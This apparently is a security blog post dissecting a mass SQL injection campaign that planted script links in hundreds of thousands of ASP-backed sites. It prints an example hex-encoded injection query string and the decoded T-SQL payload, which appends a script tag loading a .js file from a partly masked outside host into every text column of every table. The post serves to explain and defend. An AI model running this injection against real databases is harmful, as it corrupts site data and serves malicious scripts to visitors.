With well over half a million websites compromised, if you have not already heard about the live mass SQL exploit, get reading. This is real, this is clever, and it is scary. This is attack is creative to the tune of rain forest puppy and resourceful like Johnny Long. This attack is basically using SQL Injection to embed a XSS attack.
Note- I’m about a month behind the 8-Ball here, this was published in mid March.
This brings to light the importance of including Google Hacking as part of your penetration testing and corporate due diligence. Googledorks beware- if Google has cached any form of database error messages on your sites, you’re only inviting trouble.
This attack is the largest scale attack using SQL injection I have heard of. Some of the earliest work on SQL injection may have been published by rfp back in 1998. We all know SQL injection has been in the news, has the attention of the payment card brands, and may have found its way into corporate executive vocabulary (if not led or followed by an explicative from time to time).
Exploit Summary as summarized by WhiteHat’s Mitchell Poortinga
This is a SQL Injection vulnerability found in ASP that used a query string as the SQL query – attackers run “scripted” attacks. (in this case, bots) This SQL attack injects a link to a .js file into text fields in the database. When the application calls for a database field, the malicious javascript executes cross site scripting.
Attack profile
* Two initial query strings that do some basic injection, apparently as a test.
* One or more additional queries, specifically to do IS_SRVROLEMEMBER() happen in some cases.
* Two final queries that DECLARE a variable that CASTs a large hex value into NVARCHAR and then EXEC()’s that string. The string contains a script to append the link to the .js file onto every string-type column in every table in the database.
* All of these happen within a very short period of time. The only lag seems to be the time it takes the final two queries to execute. (In the case with the largest database, the last query actually failed with a timeout. I guess that’s not surprising since it’s essentially doing a find-and-replace on the entire database table.)
example:
id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×440045004300…7200%20AS%20NVARCHAR(4000));EXEC(@S);–
which means:
DECLARE @S NVARCHAR(4000);
SET @S=CAST(0×440045004300…7200 AS NVARCHAR(4000));
EXEC(@S);–
… = a few hundred chars that were not included (hex encoded values)
So, here’s what this little bit of T-SQL is doing:
1. Declaring a variable, S, as an NVARCHAR.
2. Taking a long hex value that is really a Unicode string(1) and casting it as NVARCHAR. In other words, we’re taking this hex representation of a string and turning it into a real string.
3. Once that’s done, we execute that string as a T-SQL statement.
The Wikipedia definition of T-SQL, “Transact-SQL (T-SQL) is Microsoft’s and Sybase’s proprietary extension to the SQL language. Microsoft’s implementation ships in the Microsoft SQL Server product. Sybase uses the language in its Adaptive Server Enterprise, the successor to Sybase SQL Server.”
Microsoft defines a NVARCHAR as a, “Variable-length Unicode character data. n can be a value from 1 through 4,000.”
Here is the CAST string decoded:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec(‘update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+”<script src=http://www.211796*.net/f****p.js></script>”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
The majority of this information is from Neil Carpenter’s an anatomical description of the SQL incident here.
McAfee Avert Labs has an overview here.
